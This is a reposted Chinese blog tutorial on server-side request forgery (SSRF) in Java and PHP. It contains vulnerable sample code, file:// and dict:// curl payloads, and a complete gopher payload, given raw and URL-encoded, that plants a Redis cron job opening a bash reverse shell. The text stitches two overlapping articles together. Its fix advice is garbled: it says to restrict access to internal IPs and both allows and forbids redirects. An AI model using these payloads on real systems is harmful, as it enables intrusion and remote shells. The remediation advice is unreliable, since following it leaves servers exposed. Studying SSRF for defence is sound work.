技术笔记

SSRF的漏洞代码利用方式

字号+ 作者:匿名投稿 来源:转载 2017-04-18 08:48 我要评论( )

主要说明Java的 SSRF漏洞 代码、利用方式、如何修复。 网络上对Java的SSRF介绍较少,甚至还有很多误区。 漏洞简介 SSRF(Server-side Request Forge, 服务端请求伪......

 主要说明Java的SSRF漏洞代码、利用方式、如何修复。

网络上对Java的SSRF介绍较少,甚至还有很多误区。
漏洞简介

    SSRF(Server-side Request Forge, 服务端请求伪造)。
    由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。

漏洞利用
网络请求支持的协议

由于Java没有php的cURL,所以Java SSRF支持的协议,不能像php使用curl -V查看。

Java网络请求支持的协议可通过下面几种方法检测:

    代码中遍历协议
    官方文档中查看
    import sun.net.www.protocol查看

从import sun.net.www.protocol可以看到,支持以下协议
file ftp mailto http https jar netdoc
发起网络请求的类

当然,SSRF是由发起网络请求的方法造成。所以先整理Java能发起网络请求的类。

    HttpClient
    HttpURLConnection
    URLConnection
    URL

如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。

比如:
HttpURLConnectionHttpClient

所以,如果用以下类的方法发起请求,则支持sun.net.www.protocol所有协议
URLConnectionURL
漏洞代码

使用URL类的openStream发起网络请求造成的SSRF(Java Web代码)。
代码功能是远程下载文件并下载。
/** * Author: zbg * Date: 17/4/1 */import org.springframework.boot.*;import org.springframework.boot.autoconfigure.*;import org.springframework.stereotype.*;import org.springframework.web.bind.annotation.*;import java.io.InputStream;import java.io.OutputStream;import com.google.common.io.Files;import org.apache.commons.lang.StringUtils;import java.net.URL;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpServletRequest;import java.io.IOException;@Controller@EnableAutoConfigurationpublic class SecController { @RequestMapping("/") @ResponseBody String home() { return "Hello World!"; } @RequestMapping("/download") @ResponseBody public void downLoadImg(HttpServletRequest request, HttpServletResponse response) throws IOException{ try { String url = request.getParameter("url"); if (StringUtils.isBlank(url)) { throw new IllegalArgumentException("url异常"); } downLoadImg(response, url); }catch (Exception e) { throw new IllegalArgumentException("异常"); } } private void downLoadImg (HttpServletResponse response, String url) throws IOException { InputStream inputStream = null; OutputStream outputStream = null; try { String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." +Files.getFileExtension(url); response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName); URL u; int length; byte[] bytes = new byte[1024]; u = new URL(url); inputStream = u.openStream(); outputStream = response.getOutputStream(); while ((length = inputStream.read(bytes)) > 0) { outputStream.write(bytes, 0, length); } }catch (Exception e) { e.printStackTrace(); }finally { if (inputStream != null) { inputStream.close(); } if (outputStream != null) { outputStream.close(); } } } public static void main(String[] args) throws Exception { SpringApplication.run(SecController.class, args); }}

利用方式:
# 利用file协议查看任意文件curl -v 'http://localhost:8080/download?url=file:///etc/passwd'

尝试发起gopher协议,收到异常:
java.net.MalformedURLException: unknown protocol: gopher

所以,除了上面的协议都不支持。

那尝试使用302跳转到gopher进行bypass。

先在一台vps上写一个302.php,如果发生跳转,那么35.185.163.134的2333端口将会收到请求。

PS:Java默认会URL重定向。
<?php$url = 'gopher://35.185.163.134:2333/_zbg%0xox';header("location: $url");?>

访问payload
http://localhost:8080/download?url=http://zbg.me/302.php

收到异常:
java.net.MalformedURLException: unknown protocol: gopher

跟踪报错代码:
private boolean followRedirect() throws IOException { if(!this.getInstanceFollowRedirects()) { return false; } else { final int var1 = this.getResponseCode(); if(var1 >= 300 && var1 <= 307 && var1 != 306 && var1 != 304) { final String var2 = this.getHeaderField("Location"); if(var2 == null) { return false; } else { URL var3; try { // 该行代码发生异常,var2变量值为`gopher://35.185.163.134:2333/_zbg%0xox` var3 = new URL(var2); /* 该行代码,表示传入的协议必须和重定向的协议一致 * 即http://zbg.me/302.php的 协议必须和gopher://35.185.163.134:2333/_zbg%0xox一致 */ if(!this.url.getProtocol().equalsIgnoreCase(var3.getProtocol())) { return false; } } catch (MalformedURLException var8) { var3 = new URL(this.url, var2); }

从上面的followRedirect方法可以看到:

    实际跳转的url也在限制的协议内
    传入的url协议必须和重定向的url协议一致

所以,Java的SSRF利用方式比较局限

    利用file协议任意文件读取。
    利用http协议端口探测

其他的几个SSRF漏洞代码:

URLConnection和HttpURLConnection类造成的SSRF(Java应用代码)
public static void ssrfURLConnection() { try { InputStream inputStream = null; String uri = "gopher://127.0.0.1:8080"; URL url = new URL(uri); // 使用非法协议,构造函数会报错 System.out.println(url.getProtocol()); URLConnection urlConnection = url.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); String inputLine; StringBuffer html = new StringBuffer(); while ((inputLine = in.readLine()) != null) { html.append(inputLine); } in.close(); System.out.println("URL Content: \n" + html.toString()); System.out.println("Done"); System.out.println("协议为:" + url.getProtocol()); }catch(Exception e) { e.printStackTrace(); } }

HttpClient类造成的SSRF (Java应用代码):
public static void ssrfHttpClient() { String url = "http://127.0.0.1"; CloseableHttpClient client = HttpClients.createDefault(); HttpGet httpGet = new HttpGet(url); HttpResponse httpResponse; try { // 该行代码发起网络请求 httpResponse = client.execute(httpGet); System.out.println("\nSending 'GET' request to URL : " + url); System.out.println("Response Code : " + httpResponse.getStatusLine().getStatusCode()); BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent())); StringBuffer result = new StringBuffer(); String line = ""; while ((line = rd.readLine()) != null) { result.append(line); } System.out.println(result.toString()); }catch (Exception e) { e.printStackTrace(); } }
漏洞修复

那么,根据利用的方式,修复方法就比较简单。

    限制协议为HTTP、HTTPS协议
    限制访问ip为内网IP
    不用限制302重定向

1. 漏洞简介

    SSRF(Server-side Request Forge, 服务端请求伪造)。
    由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。

2. 漏洞利用

自从煤老板的paper放出来过后,SSRF逐渐被大家利用和重视起来。
2.1 本地利用

拿PHP常出现问题的cURL举例。

可以看到cURL支持大量的协议,别入file,dict,gopher,http
➜ pentest curl -Vcurl 7.43.0 (x86_64-apple-darwin15.0) libcurl/7.43.0 SecureTransport zlib/1.2.5Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftpFeatures: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz UnixSockets

本地利用姿势:
# 利用file协议查看文件curl -v 'file:///etc/passwd'# 利用dict探测端口curl -v 'dict://127.0.0.1:22'curl -v 'dict://127.0.0.1:6379/info'# 利用gopher协议反弹shellcurl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
2.2 远程利用

漏洞代码ssrf.php(未做任何SSRF防御)
function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch);}$url = $_GET['url'];curl($url);

远程利用方式:
# 利用file协议任意文件读取curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'# 利用dict协议查看端口curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'# 利用gopher协议反弹shellcurl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

漏洞代码ssrf2.php

    限制协议为HTTP、HTTPS
    设置跳转重定向为True(默认不跳转)

<?phpfunction curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True); // 限制为HTTPS、HTTP协议 curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch);}$url = $_GET['url'];curl($url);?>

此时,再使用dict协议已经不成功。
http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info

302跳转没测试成功。下次再测试下……
3. 如何转换成gopher协议

我刚一开始看到这个协议,有点一脸懵逼,不知道如何转换。希望写点经验给大家,有不对的地方,还望指出。
3.1 redis反弹shell

先写一个redis反弹shell的bash脚本如下:
我不喜欢用flushall,太不友好。
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1redis-cli -h $1 -p $2 config set dir /var/spool/cron/redis-cli -h $1 -p $2 config set dbfilename rootredis-cli -h $1 -p $2 saveredis-cli -h $1 -p $2 quit

该代码很简单,在redis的第0个数据库中添加key为1,value为\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n的字段。最后会多出一个\n是因为echo重定向最后会自带一个换行符。

执行脚本命令:
bash shell.sh 127.0.0.1 6379

执行完脚本后:
127.0.0.1:6379> keys *1) "name"2) "1"127.0.0.1:6379> get name"joychou"127.0.0.1:6379> get 1"\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"

想抓tcp数据包,我们可以使用socat进行端口转发。
转发命令如下:
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

意思是将本地的4444端口转发到本地的6379端口。
即,有人访问该服务器的4444端口,访问的其实是该服务器的6379 redis服务。

所以,我们执行以下命令就可以了:
bash shell.sh 127.0.0.1 4444

返回如下:
root@pentest:~/zgb/redis# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379> 2017/03/28 17:18:50.701362 length=83 from=0 to=82*3\r$3\rset\r$1\r1\r$56\r*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\r< 2017/03/28 17:18:50.702358 length=5 from=0 to=4+OK\r> 2017/03/28 17:18:50.706954 length=57 from=0 to=56*4\r$6\rconfig\r$3\rset\r$3\rdir\r$16\r/var/spool/cron/\r< 2017/03/28 17:18:50.707996 length=5 from=0 to=4+OK\r> 2017/03/28 17:18:50.713159 length=52 from=0 to=51*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$4\rroot\r< 2017/03/28 17:18:50.713982 length=5 from=0 to=4+OK\r> 2017/03/28 17:18:50.718505 length=14 from=0 to=13*1\r$4\rsave\r< 2017/03/28 17:18:50.727510 length=5 from=0 to=4+OK\r> 2017/03/28 17:18:50.730592 length=14 from=0 to=13*1\r$4\rquit\r< 2017/03/28 17:18:50.730839 length=5 from=0 to=4+OK\r

gopher转换规则如下:

    如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。
    如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
    将\r字符串替换成%0d%0a
    空白行替换为%0a

替换后的结果为:
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

gopher协议使用方法:gopher://ip:port/_payload

接着将下面payload进行rawurlencode,可以使用php的该函数。
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

最后的URL攻击payload为:
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
4. 漏洞代码
4.1 php
// 漏洞代码1function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch);}$url = $_GET['url'];curl($url); // 漏洞代码2$url = $_GET['url'];;echo file_get_contents($url);// 漏洞代码3function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } }
4.2 java

org.apache.http.client.methods.HttpGet
public static void ssrfhttpget() { String url = "http://127.0.0.1:8000"; CloseableHttpClient client = HttpClients.createDefault(); HttpGet httpGet = new HttpGet(url); HttpResponse httpResponse; try { httpResponse = client.execute(httpGet); System.out.println("\nSending 'GET' request to URL : " + url); System.out.println("Response Code : " + httpResponse.getStatusLine().getStatusCode()); BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent())); StringBuffer result = new StringBuffer(); String line = ""; while ((line = rd.readLine()) != null) { result.append(line); } System.out.println(result.toString()); }catch (Exception e) { e.printStackTrace(); } }

HttpURLConnection (java.net.HttpURLConnection)
public static void ssrfurlconnection() { try { //String url = "dict://127.0.0.1:8080"; String url = "file:///etc/passwd"; URL obj = new URL(url); HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); conn.setReadTimeout(5000); conn.addRequestProperty("Accept-Language", "en-US,en;q=0.8"); conn.addRequestProperty("User-Agent", "Mozilla"); conn.addRequestProperty("Referer", "http://baidu.com"); System.out.println("Request URL ... " + url); int status = conn.getResponseCode(); System.out.println("Response Code ... " + status); if (status == HttpURLConnection.HTTP_OK) { BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); String inputLine; StringBuffer html = new StringBuffer(); while ((inputLine = in.readLine()) != null) { html.append(inputLine); } in.close(); System.out.println("URL Content: \n" + html.toString()); System.out.println("Done"); } } catch (Exception e) { e.printStackTrace(); } }

测试的过程中,java都不支持除了http、https协议的其他协议。
5. 漏洞修复

    限制协议为HTTP、HTTPS
    禁止30x跳转
    限制ip为内网ip

6. Reference

    SSRF to GETSHELL
    利用 gopher 协议拓展攻击面
    WAVR SSRF


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/624.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • SSRF漏洞挖掘经验寻找内网入口

    SSRF漏洞挖掘经验寻找内网入口

    2016-12-27 10:20

网友点评
暂时未开启评论功能~